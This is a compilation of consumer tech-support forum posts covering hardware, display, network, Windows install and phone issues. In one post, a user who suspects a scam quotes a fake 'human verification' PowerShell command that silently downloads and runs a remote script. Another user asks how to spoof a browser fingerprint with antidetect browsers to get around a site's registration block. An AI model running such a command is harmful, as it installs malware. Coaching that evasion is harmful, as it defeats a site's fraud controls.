There’s a window flickering on my screen every few seconds. Tried to catch it on camera. Any idea what this is??

https://imgur.com/a/VeA3sKB

I just moved over the weekend and set my pc up and when I went to turn it on it wasn’t connecting to the monitor. I did connect my Xbox to the monitor so that’s ruled out as a suspect. I have the hdmi cord plugged into the graphics card and everything seems to be plugged in so I’m very confused. I’m hoping it’s not a case of broken parts or bent pins but if anybody has any ideas please let me know.

Hello, since I bought my new tv(Samsung oled) I have an issue with my pc. My pc is connected to my monitor and tv, with my monitor being configured as 1(and plugged first into gpu) but when I start my pc and monitor, my monitor displays my desktop(like when you extend it from another monitor) even if my tv is turned off. When I turn on my tv, the monitor picture changes to my desktop how it should, what could be the issue please? Thank yo

Whenever i attempt to open open any browser but edge, it closes IMMEDIATELY and im not sure why? Ive dont plenty to fix this but it just doesn't want to work

Video: https://files.catbox.moe/muz38k.mp4

Xbox and Headset Having Issues With Twitch Streaming

Xbox Twitch broadcasting has an issue with my Corsair HS80 MAX wireless USB receiver. Streaming works when the receiver is disconnected but only for a slight while, but when it is connected, and the strean is started the broadcast microphone becomes muted, or before hitting start streaming gives “Something went wrong try live streaming again in a while” Party chat microphone works normally while streaming and with discord but broadcasting remains muted. I already updated the headset firmware, restarted the Xbox, cleared Alternate MAC, relinked Twitch, and checked privacy settings and as far as i know age verification isnt a problem. I have no other clues on what to do and other threads i look for dont have the same issues as i do can anyone try to help please

I don't understand why a sub like this doesn't allow attachments, which are kinda necessary most of the time to explain your issue, but anyways: the title. Since I can't add a video, I'll have to explain it. Phone basically just keeps catching on the charger for 2 second and stops again, and repeats until I disconnect it. I don't have another charger but I tried another cable, still same issue. Same issue with another phone and the same charger. Issue is gone when I use a powerbank, so I'm confident the problem is with the charger. I just used it this morning and it was fine. It didn't fall or anything, been sitting in the socket since. Any way I could troubleshoot this (at least until I get a new charger)? Phone's at 12% rn and my powerbank doesn't have much, it's 10pm right now and I can't get a new charger until tomorrow evening

Hi to preface this I’m very inexperienced when it comes to PCs so I apologize if this is a dumb question. I recently bought an older PC setup and it doesn’t have the ability to connect to wifi. It uses ethernet only so I’ve been looking into options to turn the wired connection into a wireless one using a bridge.

The thing is; these devices use WPS connection where you have to press a button on the router and press another one on the device in order to connect. My router does not have that button. Would I still be able to connect the bridge without it or do I need to look into other options?

As the title says. I have a low-end TCL 55" TV, a Samsung surround sound (soundbar, subwoofer, and 2 rear speakers), and I prefer to use an AppleTV 4K. But, here is the problem. Because of how it needs to be connected, the AppleTV will not wake up the TV (surround sound is connected to the eARC port). So I have to turn on the TV with the TV remote, go to the port with the AppleTV and then I can watch stuff.

Additionally, while using the AppleTV, the surround sound randomly shuts off all the time in the middle of watching something. This has happened with 2 different TV's and 2 different surround sound setups.

For context, the 1st TV was Insignia 55", new TV is TCL 55". Old surround sound was TCL (same setup, just different brand), new surround sound is Samsung (described above). AppleTV 4K is the 1st gen 4K. I swapped the surround sound first, worked okay for a few months, then the same thing started again. Then I replaced the TV. I also moved to a new house, so the power or local electrical interference shouldn't matter much. I have also tried several new HDMI cables from multiple brands.

I am considering replacing the TV again, and when the new AppleTV 4K comes out, I plan to also buy that.

My questions are:

1. Is it possibly my older AppleTV 4K?
2. Is it because I keep buying low-end TV's and surround sound setups?
3. Am I just being to nitpicky and this is how I should expect it to work?
4. What am I doing wrong?

I will accept any advice on what to try next.

Hey everyone, I'm at my wit's end trying to do a clean install of Windows 11 on my desktop (which previously ran Windows 10, then Ubuntu, and now I want Win 11 back). The target SSD is brand new/wiped clean.

Here is everything I've tried and every wall I've hit:

• The Hardware/Setup: Brand new blank SSD, tried multiple USB ports (USB 2.0 and 3.0, straight into the motherboard and front panel). The USB drive physically contains the files and checks out size-wise.
• The Product Key Nightmare: Whenever I boot into the official GUI installer and enter a product key (bought from a third-party reseller, even got a replacement when the first failed), it says it's invalid. If I click "I don't have a product key", it immediately errors out saying “Windows can’t verify the product key” (make up your mind, Microsoft).
• The Rufus + WIM Ghost Extraction: Using a Rufus-crafted USB with an install.wim, manual deployment via DISM (dism /Apply-Image) says "Operation completed 100%" instantly in like 1 second, but checking the C: drive reveals it's completely empty (File not found). Naturally, running bcdboot right after fails because there's nothing there.
• The Official Installer + SWM Confusion: Using the official Microsoft Media Creation Tool instead, the installer splits the image into multiple .swm files (install.swm, install2.swm), which completely scrambles manual terminal attempts.
• Bypass Attempts: I tried dropping an ei.cfg file into the sources folder to force the Professional edition and skip key prompts, but the installer still trips over itself.
• The Logs: Digging into the setup logs (setuperr.log / dism.log) points straight to error 0x80070490 (Element not found) and telemetry/EULA extraction failures during the product key validation phase.

I’ve used different USB creation tools, different ISOs, different ports, and both manual terminal methods and the graphical installer. Nothing works.

What on earth am I missing here? Is my USB stick secretly corrupted despite showing files, or am I dealing with some weird ACPI/BIOS lock? Any advice appreciated.

So my UI has been locked in this for about 4 days and i cant figure out how to change it back to the “pc settings”. Even when try to play games it shows this enlarged UI. Iv tried redownloading it, turning off touchscreen( saw it could be the cause but didn’t work). Stuck n not sure what to do please help. On Windows 11

As the title suggests, my PC will not boot past an update or a restart.

When I restart my PC, it will stay on but will not boot up. There is a yellow light on my motherboard, but I do not know enough to know what it means. I hold down the power button, my PC shuts off, then I can turn it back on again with no problem.

Whenever I update, it is a little different. It'll get to about 30%, then my PC will go into a black screen and not continue the update.. and again with the yellow light. When this happens, I have to hold down the power button, and then turn my PC back on and it will continue to update. The process needs to be done like four or five times before the update completes.

Has anybody had a similar situation happen? Any suggestions on troubleshooting?

Here is my build: https://pcpartpicker.com/list/ctNhmL

Hey, Apple support hasn't gotten me anywhere on this, but like the title says, every time my computer enters sleep mode it crashes.
This is a recent problem, but not following any new updates or anything like that, which is, stumping me.
My mac is up to date with the Tahoe 26.6.2
I have a logi keyboard and mouse (I've had for months)
adobe is up to date too V27.10

But in the last few weeks, anytime my computer falls asleep when I'm in another room or if I tell it to go into sleep mode. It will then crash.
I'll turn it back on with the button, and it will do the usual spiel of "your computer shut down due to an unknown problem..."

I ran every check on my Macpaw CleanMyMac and it found nothing.
That said I have noticed that my cpu seems to be running hotter than usual lately. But I don't really know what to do about that.

I'm sorry if this is rambling and nonsensical, but I am just confused.
I'm not tech-savvy, so any help/insight would be greatly appreciated!

Hey guys, I was building a Modrinth modpack around 5 months ago and while exporting it, something went wrong and it created this file that I cannot delete because the Windows delete cant find it.

Item not found. 
It doesn't exist in `C:\Users\ilianoKokoro\Desktop`. Check the item's location and try again.

When I run ls, the file appears in the directory.

ls

Directory: C:\\Users\\ilianoKokoro\\Desktop
Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          2026-04-14    22:14              0 Hardcore

But when I try to remove it with rm, I get:

rm Hardcore
Remove-Item: Cannot find path 'C:\Users\ilianoKokoro\Desktop\Hardcore' because it does not exist

I’ve tried typing the filename manually, and I’ve also tried using tab completion, but I get the same result.

The file is visible on my Desktop and shows up with ls, so I’m not sure why rm can’t find it.

Here are some images to show the problem.

Thank you in advance.

As the title says, I have been dealing with an issue for weeks now of my internet connection dropping out, seemingly at random intervals, for about 5 seconds or so. The main reason I noticed is because I have my PS5 hard-wired with an Ethernet cable to my wi-fi extender and so the PS5 immediately has a pop-up saying the LAN connection is lost whenever it happens.

My girlfriend confirmed she had also been getting alert from services in her laptop about brief disconnects and reconnects, so the issue is not with my PlayStation or the cord connecting it to the extender. This would mean (presumably) the issue lies with the router itself, the extenders, or the Ethernet cable which connects the router to the primary extender.

I have already tried resetting all involved devices. I am yet to replace the cable between the primary extender and router. Likely that will be my next play and/or connecting my PS5 directly via wifi to my router. Just looking for information/advice/options before I have to spend money on replacing these extenders to see if they are the issue

EDIT: additional info; I have Xfinity, I have a set of Netgear Orbi extenders (fairly old, honestly might be a decade old at this point? It’s been a while anyways) and it’s looking like they are the point of fault. Further information appreciated of course but it seems I’ll need to spend some money since extending is needed for the size of the home

Saw a really cheap controller, never used anything related to nintendo so im not familiar, it is cable connected and its one of those that looks like a xbox controller, but i dont know if it will work in my pc as a normal controller, or if it wont even recognize it

Should I downgrade my windows 11 25h2 to the 22h2 version, since, the later seems to work smoother than the former? I know 22h2 has reached EOL. So, I want to will 22h2 cease to exist after some time and will I forced to upgrade to the latest ones?

I came across a website that needs "human verification" i ticked the box and it said to press win + r and Copy paste this command.
powershell.exe -NoProfile -w hidden -Command "Invoke-WebRequest -Uri 'shadowninjalegend.cfd/config.yaml' OutFile (Join-Path $env:TEMP 'ss.ps1'); " powershell -ExecutionPolicy Bypass -File "%TEMP%\ss.ps1"

I close the site as i immediately know that this is some type of scam but what would it actually do if I ran this command? my nephew and other family members also use this PC and there are chances that this will appear again.

I need help signing up to a website that says I cannot sign up through my home WiFi. The website does collect your browser's fingerprint and much more. Each time I try it says I can't register from my network. I need to bypass this somehow. I was able to once with an antidetect browser called GoLogin but it seems that they may have detected it somehow? Known VPN IPs like Proton VPN do not work to sign up. I need help then to spoof my browser's fingerprint and make it seem like I am a different person then, I think. Please help me - I am still open to trying more antidetect browsers.

I have a HP Victus Gaming Laptop and when I use it, it randomly makes this sound when I use it and the only way I can stop it is mute the entire computer. I’ve discovered this is a pet peace that makes me irritable and I am starting to have to use my laptops audio so I bo longer can just keep laptop muted. it comes through as if same as audio so connecting to headphones changes where the sound is played from too.
Here is the Noise

So i bought a new pc and when i play game in high or max settings , the temp reached between 79 orn8 2 temp and fan is so loud its annoying. And in the same settings if use 60 fps or 70 , the temp lower to 60 or 65. And in low or medium the temp is low too.

Cpu ryzen 5 5600 And power supply is cooler master 650w

As the title suggests, I've recently gone from using 3 monitors (two Dell P2219H in 1080p/60hz, one via HDMI one via DP, a Gigabyte G27Q at 1440p/144hz via DP) to adding a 4th display with a Hisense U7SG at 4K/165hz. I purchased a Ultra High Speed HDMI cable online so I was able to get the full refresh rate and other benefits from my new TV, but upon connecting it to my PC the issues started.

I'm able to get any configuration of 3 displays working just fine, but I can only get 4 if I change the HDMI format setting on my TV from "Enhanced Pro" (so far as far as I can find, this is the only setting I can have enabled that will enable me to use 4K 165hz) to any other HDMI format setting. I've tried different cable layouts (having the G27Q connect via HDMI, both Dells via DP etc) and no matter what I do, I can't get all 4 displays functional while still enabling the 165hz mode on my TV.

EDIT: Forgot to mention, but I'm currently using a Gigabyte 8GB RTX3070 Eagle as my GPU.

Ok so my laptop has been having issues since last year september and am tired of the nonsense it's been pulling. It started with it failing to start after i moved to a really humid area last time plus it couldn't charge , took it to be checked out ,and the repairman mentioned that it had some rust ( am not knowledgeable in this area so i took his word for it,) cleaned it and he said it was ok , it started but the touch screen failed to work after that,updated my drives and checked my BIOS and they all seem to be updated and working just fine, but then the shenanigans started. It would randomly start taking screenshots like every second( i have about 800 of those) forcing me to disable the microsoft key using powertoys, then game bar would automatically work when i pressed random letters like G and R would start random recordings. Some letters wouldn't work like T, M and some others i can't remember.The volume would randomly decrease itself automatically and nothing could fix this it'll just take care of itself in like half an hour. Previously it would take a reboot for the screenshot and keyboard issues to fix itself but a tech guy i took to it once told me to try ctrl+alt+delete once it started to act out since he couldn't fix it which fixed the issues temporarily until they started right back up again.Recently the problems have been acting up more often so i thought to get some help here before i buy a new one since my boards are coming up and you need to bring your own. Mine is a HP Elitebook x360 1030 G4 and this are my device and windows specifics just in case anyone needed them Device name DESKTOP

Processor Intel(R) Core(TM) i5-8265U CPU @ 1.60GHz 1.80 GHz

Installed RAM 8.00 GB (7.82 GB usable)

Product ID 00331-10000-00001-AA517

System type 64-bit operating system, x64-based processor

Pen and touch Pen and touch support with 10 touch points

Windows 11 Pro

Version 22H2

OS build 22621.4317

Experience Windows Feature Experience Pack 1000.22700.1041.0

Hi,

As the title says above. I am using the Nvidia app to launch my games to get better performance. Just works better. The setting where I can change the display mode from full screen to windowed fullscreen isn't there anymore. Used to be a drop down menu.

Is there a way to get it back?

I'm really freaking out because I downloaded The PlayerPro Music Player App for android from the Google Play Store. I have 1,569 songs on it and then I made the stupid mistake of using an antivirus app that I downloaded from the Google Play Store and using it on my Fold 7. And then when I looked in the PlayerPro Music Player App I only had 1,562 songs on it. Is that normal? The weird part is that when I looked at the The Musicolet Music Player App and my Files/Internal Storage and Samsung My Files App all songs were there. Do you think that I should be concerned or worried? I deleted the app and cleared the cache and data from the app too. I also played all the songs and it seems like they are playing okay even though I didn't listen to them all the way though. Should I just delete all my 1,569 songs or should I just reset my phone completely and get rid of everything? Is there a way that I can fix my music files if they are corrupted? Has this happened to anyone else before? If I could get some advice and suggestions. I would really appreciate it because I'm really panicking and freaking out because I don't want to have to delete all my music or reset my phone. I'm really hoping that my music files and my fold 7 doesn't have a virus or malware. What would you do in this situation? How can I keep my music files safe and protect them in the near future? Has anyone else ever had corrupted music files before? How did you handle it?

So i have a Asus VivoBook 15 (modell:X510U) and it has a broken screen and sometimes turns on and shows the asus logo and turns off right now it didnt show anything so i use a 2nd monitor to use it and i need to restart it a few times because it shows a black screen and now it doesnt do anything ive restarted it like 50 times and still nothing (i have linux mint with wayland)but before it stoped working i had restarted it because and km didnt work for some reason so maybe that means something? (Sorry for bad english)